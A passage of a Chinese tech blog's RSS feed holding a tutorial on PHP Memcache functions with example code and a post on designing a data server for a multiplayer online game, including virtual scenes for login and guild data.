</span><span style="color: #00008b;">$memcache</span><span style="color: gray;">-&gt;</span><span style="color: blue;">set</span><span style="color: olive;">(</span><span style="color: gray;"> </span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">name</span><span style="color: #8b0000;">&#8216;</span><span style="color: gray;">, </span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">leo</span><span style="color: #8b0000;">&#8216;</span><span style="color: gray;">, </span><span style="color: maroon;">0</span><span style="color: gray;">, </span><span style="color: maroon;">30</span><span style="color: olive;">)</span><span style="color: gray;">;<br />
</span><span style="color: green;">if</span><span style="color: olive;">(</span><span style="color: gray;">!</span><span style="color: #00008b;">$memcache</span><span style="color: gray;">-&gt;</span><span style="color: blue;">add</span><span style="color: olive;">(</span><span style="color: gray;"> </span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">name</span><span style="color: #8b0000;">&#8216;</span><span style="color: gray;">, </span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">susan</span><span style="color: #8b0000;">&#8216;</span><span style="color: gray;">, </span><span style="color: maroon;">0</span><span style="color: gray;">, </span><span style="color: maroon;">30</span><span style="color: olive;">))</span><span style="color: gray;"><br />
</span><span style="color: olive;">{</span><span style="color: gray;"><br />
</span><span style="color: green;">echo</span><span style="color: gray;"> </span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">susan is exist</span><span style="color: #8b0000;">&#8216;</span><span style="color: gray;">;<br />
</span><span style="color: olive;">}</span><span style="color: gray;">;<br />
</span><span style="color: #00008b;">$memcache</span><span style="color: gray;">-&gt;</span><span style="color: blue;">replace</span><span style="color: olive;">(</span><span style="color: gray;"> </span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">name</span><span style="color: #8b0000;">&#8216;</span><span style="color: gray;">, </span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">lion</span><span style="color: #8b0000;">&#8216;</span><span style="color: gray;">, </span><span style="color: maroon;">0</span><span style="color: gray;">, </span><span style="color: maroon;">300</span><span style="color: olive;">)</span><span style="color: gray;">;<br />
</span><span style="color: green;">echo</span><span style="color: gray;"> </span><span style="color: #00008b;">$memcache</span><span style="color: gray;">-&gt;</span><span style="color: blue;">get</span><span style="color: olive;">(</span><span style="color: gray;"> </span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">name</span><span style="color: #8b0000;">&#8216;</span><span style="color: olive;">)</span><span style="color: gray;">;<br />
</span><span style="color: #00008b;">$memcache</span><span style="color: gray;">-&gt;</span><span style="color: blue;">delete</span><span style="color: olive;">(</span><span style="color: gray;"> </span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">name</span><span style="color: #8b0000;">&#8216;</span><span style="color: gray;">, </span><span style="color: maroon;">5</span><span style="color: olive;">)</span><span style="color: gray;">;<br />
</span><span style="color: blue;">?&gt;</span></div>
</div>
<p>memcache_debug() 函数的作用是控制调试功能，前提是php在编译的时候使用了–enable-debug选项，否则这个函数不会有作用。</p>
<p>Memcache::addServer 方法的作用是添加一个可供使用的服务器地址，Memcache::addServer方法有8个参数，除了第一个参数意外，其他都是可选的，第一个参数表 示服务器的地址，第二个参数表示端口，第三个参数表示是否是一个持久连接，第四个参数表示这台服务器在所有服务器中所占的权重，第五个参数表示连接的持续 时间，第六个参数表示连接重试的间隔时间，默认为15,设置为-1表示不进行重试，第七个参数用来控制服务器的在线状态，第8个参数允许设置一个回掉函数 来处理错误信息。<br />
Memcache::setServerParams方法的作用是在运行时修改服务器的参 数，Memcache::setServerParams方法有六个参数，Memcache::addServer方法少了第三和第四个参数。 Memcache::getServerStatus方法的作用是获取运行服务器的参数，两个参数分别表示的地址和端口。</p>
<div class="hl-surround">
<div class="hl-main"><span style="color: blue;">&lt;?php</span><span style="color: gray;"><br />
</span><span style="color: green;">function</span><span style="color: gray;"> </span><span style="color: blue;">_callback_memcache_failure</span><span style="color: olive;">(</span><span style="color: #00008b;">$host</span><span style="color: gray;">, </span><span style="color: #00008b;">$port</span><span style="color: olive;">)</span><span style="color: gray;"> </span><span style="color: olive;">{</span><span style="color: gray;"><br />
</span><span style="color: blue;">print</span><span style="color: gray;"> </span><span style="color: #8b0000;">“</span><span style="color: red;">memcache &#8216;</span><span style="color: #00008b;">$host</span><span style="color: red;">:</span><span style="color: #00008b;">$port</span><span style="color: red;">&#8216; failed</span><span style="color: #8b0000;">“</span><span style="color: gray;">;<br />
</span><span style="color: olive;">}</span><span style="color: gray;"><br />
</span><span style="color: #00008b;">$memcache</span><span style="color: gray;"> = </span><span style="color: green;">new</span><span style="color: gray;"> </span><span style="color: blue;">Memcache</span><span style="color: gray;">;<br />
</span><span style="color: #00008b;">$memcache</span><span style="color: gray;">-&gt;</span><span style="color: blue;">addServer</span><span style="color: olive;">(</span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">192.168.1.116</span><span style="color: #8b0000;">&#8216;</span><span style="color: gray;">, </span><span style="color: maroon;">11211</span><span style="color: olive;">)</span><span style="color: gray;">;<br />
</span><span style="color: #00008b;">$memcache</span><span style="color: gray;">-&gt;</span><span style="color: blue;">setServerParams</span><span style="color: olive;">(</span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">192.168.1.116</span><span style="color: #8b0000;">&#8216;</span><span style="color: gray;">, </span><span style="color: maroon;">11211</span><span style="color: gray;">, </span><span style="color: maroon;">1</span><span style="color: gray;">, </span><span style="color: maroon;">15</span><span style="color: gray;">, </span><span style="color: green;">true</span><span style="color: gray;">, </span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">_callback_memcache_failure</span><span style="color: #8b0000;">&#8216;</span><span style="color: olive;">)</span><span style="color: gray;">;<br />
</span><span style="color: green;">echo</span><span style="color: gray;"> </span><span style="color: #00008b;">$memcache</span><span style="color: gray;">-&gt;</span><span style="color: blue;">getServerStatus</span><span style="color: olive;">(</span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">192.168.1.116</span><span style="color: #8b0000;">&#8216;</span><span style="color: gray;">, </span><span style="color: maroon;">11211</span><span style="color: olive;">)</span><span style="color: gray;">;<br />
</span><span style="color: blue;">?&gt;</span></div>
</div>
<p>Memcache::flush 方法的作用是清除所有缓存的数据，但是不会削去使用的内存空间。</p>
<p>Memcache::increment方法的作用是对保存的某个key中 的值进行加法操作，Memcache::decremen方法的作用是对保存的某个key中的值进行减法操作。</p>
<div class="hl-surround">
<div class="hl-main"><span style="color: blue;">&lt;?php</span><span style="color: gray;"><br />
</span><span style="color: #00008b;">$memcache</span><span style="color: gray;"> = </span><span style="color: green;">new</span><span style="color: gray;"> </span><span style="color: blue;">Memcache</span><span style="color: gray;">;<br />
</span><span style="color: #00008b;">$memcache</span><span style="color: gray;">-&gt;</span><span style="color: blue;">connect</span><span style="color: olive;">(</span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">localhost</span><span style="color: #8b0000;">&#8216;</span><span style="color: gray;">, </span><span style="color: maroon;">11211</span><span style="color: olive;">)</span><span style="color: gray;">;<br />
</span><span style="color: #00008b;">$memcache</span><span style="color: gray;">-&gt;</span><span style="color: blue;">set</span><span style="color: olive;">(</span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">test_item</span><span style="color: #8b0000;">&#8216;</span><span style="color: gray;">, </span><span style="color: maroon;">8</span><span style="color: olive;">)</span><span style="color: gray;">;<br />
</span><span style="color: #00008b;">$memcache</span><span style="color: gray;">-&gt;</span><span style="color: blue;">increment</span><span style="color: olive;">(</span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">test_item</span><span style="color: #8b0000;">&#8216;</span><span style="color: gray;">, </span><span style="color: maroon;">4</span><span style="color: olive;">)</span><span style="color: gray;">;<br />
</span><span style="color: green;">echo</span><span style="color: gray;"> </span><span style="color: #00008b;">$memcache</span><span style="color: gray;">-&gt;</span><span style="color: blue;">decrement</span><span style="color: olive;">(</span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">test_item</span><span style="color: #8b0000;">&#8216;</span><span style="color: gray;">, </span><span style="color: maroon;">7</span><span style="color: olive;">)</span><span style="color: gray;">;<br />
</span><span style="color: #ffa500;">// 显示 5</span><span style="color: gray;"><br />
</span><span style="color: blue;">?&gt;</span></div>
</div>
<p>setCompressThreshold 方法的作用是对大于某一大小的数据进行压缩。setCompressThreshold方法有两个参数，第一个参数表示处理数据大小的临界点，第二个参数 表示压缩的比例，默认为0.2。</p>
<div class="hl-surround">
<div class="hl-main"><span style="color: blue;">&lt;?php</span><span style="color: gray;"><br />
</span><span style="color: #00008b;">$memcache</span><span style="color: gray;"> = </span><span style="color: green;">new</span><span style="color: gray;"> </span><span style="color: blue;">Memcache</span><span style="color: gray;">;<br />
</span><span style="color: #00008b;">$memcache</span><span style="color: gray;">-&gt;</span><span style="color: blue;">addServer</span><span style="color: olive;">(</span><span style="color: #8b0000;">&#8216;</span><span style="color: red;">memcache_host</span><span style="color: #8b0000;">&#8216;</span><span style="color: gray;">, </span><span style="color: maroon;">11211</span><span style="color: olive;">)</span><span style="color: gray;">;<br />
</span><span style="color: #00008b;">$memcache</span><span style="color: gray;">-&gt;</span><span style="color: blue;">setCompressThreshold</span><span style="color: olive;">(</span><span style="color: maroon;">20000</span><span style="color: gray;">, </span><span style="color: maroon;">0.2</span><span style="color: olive;">)</span><span style="color: gray;">;<br />
</span><span style="color: blue;">?&gt;</span></div>
</div>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html" title="数据服务器的设计">数据服务器的设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/cache" title="cache" rel="tag">cache</a>, <a href="http://www.5bay.cn/tag/class" title="class" rel="tag">class</a>, <a href="http://www.5bay.cn/tag/div" title="div" rel="tag">div</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/status" title="status" rel="tag">status</a>, <a href="http://www.5bay.cn/tag/%E5%87%BD%E6%95%B0" title="函数" rel="tag">函数</a>, <a href="http://www.5bay.cn/tag/%E5%8C%BA%E5%88%AB" title="区别" rel="tag">区别</a>, <a href="http://www.5bay.cn/tag/%E5%AF%B9%E8%B1%A1" title="对象" rel="tag">对象</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E7%89%88%E6%9C%AC" title="版本" rel="tag">版本</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%8E%B7%E5%8F%96" title="获取" rel="tag">获取</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8" title="表" rel="tag">表</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>数据服务器的设计</title>
		<link>http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html</link>
		<comments>http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html#comments</comments>
		<pubDate>Fri, 17 Oct 2008 17:25:22 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[游戏开发]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[对象]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[表]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">?p=303</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>今天开始正式开始做数据服务器。在这点上，我希望一组服务器上所有的逻辑服务遇到的数据存取需求都通过一个单一的数据服务器完成。而且，写入数据是单向通讯的。即，逻辑服务器只提读写盘请求，而无须确认。写数据好说，读数据稍微难处理一点，我现在的方案是，数据服务器加载数据的部分只对位置服务器负责，把数据提交到位置服务器即可。位置服务器可以通过分析数据知道玩家的数据流应该流向哪台逻辑服务器。以上逻辑是基于每个玩家有独立的数据的，而且一个玩家同时只存在于唯一一个场景。也就是说，当一组数据存活的时候，只唯一属于一台逻辑服务器。这样做的好处是，切换场景非常的简单，只是让玩家从一个场景退出，给数据服务器发出写盘指令，并发送所有数据。数据服务器写盘的同时也 cache 了这些数据，并向位置服务器提交新的位置，并把这些数据转发向位置服务器。位置服务器可以再转交给新的场景。对于玩家登陆和登出的处理并没有特别之处，我们可以设立两个虚拟场景，一个负责登入，一个负责登出。每个新连接自动导入登入场景，这个场景负责发出加载指令（下面可以看到，甚至无须设置加载数据的协议）。然后再做一个自动的场景切换操作即可。而玩家登出，则是转入登出场景，这是一个黑洞，玩家的连接可以在这里安全的断掉。当玩家不停的穿梭于各个场景之间时，为了避免频繁的数据转发，我们可以给玩家数据做一个赃标记。如果没有弄赃，实际的数据可以不被转发。这个标记的另一个意义在于，若数据没有弄赃，而数据服务器的 cache 中又没有数据时，就需要从外存加载了。其实这就是一个读请求。月初我在公司内部讲解这个设计时，遭到了一些同事的疑问。最典型的一个是，帮派信息如何处理。的确，类似帮派的信息，不属于任何一个玩家。如果你单独设一个非玩家对象保存这些数据时，可能会分布到不同的逻辑服务器上。的确对数据服务器的设计是一个挑战。今天仔细考虑过以后，我发现可以从设计上避免这个问题。方法如下：以帮派为例，可以设一个帮派总坛的场景。这个场景可以是虚拟的，在 client 表现上甚至可以只有一个界面，进入这个场景的玩家之间可以相互不可见。这样减少了大量的通讯量。玩家任何时候查询，修改，帮派数据的时候，都强制他进入这个场景工作（也就是独立进程维护唯一数据）。做完操作后，玩家可以从哪来的回哪去。表现上，他可能并不会察觉到自己进入了一个遥远的地方。甚至很多玩法应蕴而生。比如帮派在各地开了分舵。组织要求你把总坛的物质运输到分舵。其实仓库里的数据都是放在一个进程中。表现上，玩家可能千里迢迢的押运货物，只是修改了一下物品的归属地而已。帮派也可以开出空头支票，玩家接受支票交易时，或许要去帮派回所去查一下帮派的信誉度，或者验证一下支票能不能兑现。因为支票开出去到了玩家手上后，数据已经交给玩家个人管理，和帮派数据无关了。这样，复制出来的帮派数据都有了时延，比如你不能及时得到帮主是谁，帮派里有什么变化等等。（只是举例，实际万一想解决，可以走聊天这种不可靠通道）但是我个人认为这是符合现实的。因为现实中要得知一件事情，也是依赖一个信息发生源的。想通了这些后，个人感觉我们的设计最终还是保持了简洁。满符合 KISS 原则。每个进程好好干好一件事吧 ps. 这里也突出了心跳服务器的重要。许多虚拟场景，如帮派管理等，可以放慢它的心跳（至少不用处理战斗时 10Hz 那么高的频率），这样也降低了这些进程的负载。而玩家体验却并不会有太大的影响。 相关博文2010年05月23日 -- mysql优化及全文搜索 (0)2010年05月23日 -- PHP中的Memcache函数库（Memcache Functions） (0)2008年10月17日 -- 服务器消息的广播 (0)2008年10月17日 -- 以人为本，美术资源的归档 (0)2011年06月29日 -- 资深设计师Tony Ventrice解析手机游戏开发的四个层次 (0)2010年05月23日 -- Rsync详解 (0)2008年10月17日 -- 用四叉树管理散布在平面上的对象 (0)2008年10月17日 -- 多进程的游戏服务器设计 (0)2008年10月17日 -- 网络游戏的对时以及同步问题 (0)2008年10月17日 -- 动态加载资源 (0)2008年10月17日 -- 思维的惯性 (0)2008年10月17日 -- 游戏中的货币 (0)2008年10月17日 -- 随机数有多随机？ (0)2010年07月28日 [...]]]></description>
			<content:encoded><![CDATA[<p>今天开始正式开始做数据服务器。在这点上，我希望一组服务器上所有的逻辑服务遇到的数据存取需求都通过一个单一的数据服务器完成。而且，写入数据是单向通讯的。即，逻辑服务器只提读写盘请求，而无须确认。写数据好说，读数据稍微难处理一点，我现在的方案是，数据服务器加载数据的部分只对位置服务器负责，把数据提交到位置服务器即可。位置服务器可以通过分析数据知道玩家的数据流应该流向哪台逻辑服务器。<br/><br/>以上逻辑是基于每个玩家有独立的数据的，而且一个玩家同时只存在于唯一一个场景。也就是说，当一组数据存活的时候，只唯一属于一台逻辑服务器。这样做的好处是，切换场景非常的简单，只是让玩家从一个场景退出，给数据服务器发出写盘指令，并发送所有数据。数据服务器写盘的同时也 cache 了这些数据，并向位置服务器提交新的位置，并把这些数据转发向位置服务器。位置服务器可以再转交给新的场景。<br/><br/>对于玩家登陆和登出的处理并没有特别之处，我们可以设立两个虚拟场景，一个负责登入，一个负责登出。每个新连接自动导入登入场景，这个场景负责发出加载指令（下面可以看到，甚至无须设置加载数据的协议）。然后再做一个自动的场景切换操作即可。而玩家登出，则是转入登出场景，这是一个黑洞，玩家的连接可以在这里安全的断掉。<br/><br/>当玩家不停的穿梭于各个场景之间时，为了避免频繁的数据转发，我们可以给玩家数据做一个赃标记。如果没有弄赃，实际的数据可以不被转发。这个标记的另一个意义在于，若数据没有弄赃，而数据服务器的 cache 中又没有数据时，就需要从外存加载了。其实这就是一个读请求。<span id="more-303"></span><br/><br/>月初我在公司内部讲解这个设计时，遭到了一些同事的疑问。最典型的一个是，帮派信息如何处理。的确，类似帮派的信息，不属于任何一个玩家。如果你单独设一个非玩家对象保存这些数据时，可能会分布到不同的逻辑服务器上。的确对数据服务器的设计是一个挑战。<br/><br/>今天仔细考虑过以后，我发现可以从设计上避免这个问题。方法如下：<br/><br/>以帮派为例，可以设一个帮派总坛的场景。这个场景可以是虚拟的，在 client 表现上甚至可以只有一个界面，进入这个场景的玩家之间可以相互不可见。这样减少了大量的通讯量。<br/><br/>玩家任何时候查询，修改，帮派数据的时候，都强制他进入这个场景工作（也就是独立进程维护唯一数据）。做完操作后，玩家可以从哪来的回哪去。表现上，他可能并不会察觉到自己进入了一个遥远的地方。<br/><br/>甚至很多玩法应蕴而生。比如帮派在各地开了分舵。组织要求你把总坛的物质运输到分舵。其实仓库里的数据都是放在一个进程中。表现上，玩家可能千里迢迢的押运货物，只是修改了一下物品的归属地而已。<br/><br/>帮派也可以开出空头支票，玩家接受支票交易时，或许要去帮派回所去查一下帮派的信誉度，或者验证一下支票能不能兑现。因为支票开出去到了玩家手上后，数据已经交给玩家个人管理，和帮派数据无关了。<br/><br/>这样，复制出来的帮派数据都有了时延，比如你不能及时得到帮主是谁，帮派里有什么变化等等。（只是举例，实际万一想解决，可以走聊天这种不可靠通道）但是我个人认为这是符合现实的。因为现实中要得知一件事情，也是依赖一个信息发生源的。<br/><br/>想通了这些后，个人感觉我们的设计最终还是保持了简洁。满符合 KISS 原则。每个进程好好干好一件事吧 <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <br/><br/>ps. 这里也突出了心跳服务器的重要。许多虚拟场景，如帮派管理等，可以放慢它的心跳（至少不用处理战斗时 10Hz 那么高的频率），这样也降低了这些进程的负载。而玩家体验却并不会有太大的影响。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B6%88%E6%81%AF%E7%9A%84%E5%B9%BF%E6%92%AD.html" title="服务器消息的广播">服务器消息的广播</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC%EF%BC%8C%E7%BE%8E%E6%9C%AF%E8%B5%84%E6%BA%90%E7%9A%84%E5%BD%92%E6%A1%A3.html" title="以人为本，美术资源的归档">以人为本，美术资源的归档</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/game-development/zishenshejishitonyventricejiexishoujiyouxikaifadesigecengci.html" title="资深设计师Tony Ventrice解析手机游戏开发的四个层次">资深设计师Tony Ventrice解析手机游戏开发的四个层次</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E7%94%A8%E5%9B%9B%E5%8F%89%E6%A0%91%E7%AE%A1%E7%90%86%E6%95%A3%E5%B8%83%E5%9C%A8%E5%B9%B3%E9%9D%A2%E4%B8%8A%E7%9A%84%E5%AF%B9%E8%B1%A1.html" title="用四叉树管理散布在平面上的对象">用四叉树管理散布在平面上的对象</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html" title="多进程的游戏服务器设计">多进程的游戏服务器设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E7%BD%91%E7%BB%9C%E6%B8%B8%E6%88%8F%E7%9A%84%E5%AF%B9%E6%97%B6%E4%BB%A5%E5%8F%8A%E5%90%8C%E6%AD%A5%E9%97%AE%E9%A2%98.html" title="网络游戏的对时以及同步问题">网络游戏的对时以及同步问题</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E8%B5%84%E6%BA%90.html" title="动态加载资源">动态加载资源</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%80%9D%E7%BB%B4%E7%9A%84%E6%83%AF%E6%80%A7.html" title="思维的惯性">思维的惯性</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E4%B8%AD%E7%9A%84%E8%B4%A7%E5%B8%81.html" title="游戏中的货币">游戏中的货币</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/cache" title="cache" rel="tag">cache</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E5%AF%B9%E8%B1%A1" title="对象" rel="tag">对象</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/game-development" title="游戏开发" rel="tag">游戏开发</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8" title="表" rel="tag">表</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>多进程的游戏服务器设计</title>
		<link>http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html</link>
		<comments>http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html#comments</comments>
		<pubDate>Fri, 17 Oct 2008 17:24:20 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[游戏开发]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[分离]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[游戏]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">?p=302</guid>
